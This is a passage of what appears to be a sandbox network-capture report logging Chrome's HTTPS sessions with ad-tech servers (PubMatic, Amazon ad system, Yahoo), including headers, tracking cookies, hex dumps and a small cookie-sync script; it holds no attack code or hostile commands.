data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63
2024-01-10 23:27:28 UTC	680	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-tlt=3631141743957125218505~~1;Expires=Sat, 24 Feb 2024 23:27:28 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:28 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-01-10 23:27:28 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.4	50443	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3874	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:A342B32A0BAA4852AA53FE42CB7195F6&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; PugT=1704929247
2024-01-10 23:27:28 UTC	318	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.4	50438	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	3782	OUT	GET /AdServer/Pug?vcode&piggybackCookie={viewer_token} HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; PugT=1704929247
2024-01-10 23:27:28 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.4	50439	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	3535	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=41161a4c-fb0e-4073-8161-2fb10dec6a95&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589
2024-01-10 23:27:28 UTC	696	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:28 GMT; path=/ Set-Cookie: PugT=1704929248; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:28 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.4	50449	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	3473	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; PugT=1704929247
2024-01-10 23:27:28 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 12:36:29 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.4	50450	52.46.155.104	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	524	OUT	GET /dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB&gpp=&gpp_sid= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
2024-01-10 23:27:28 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: FYYZWSDC7F537KFFYNCP Set-Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 23:27:28 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 23:27:28 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.4	50437	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
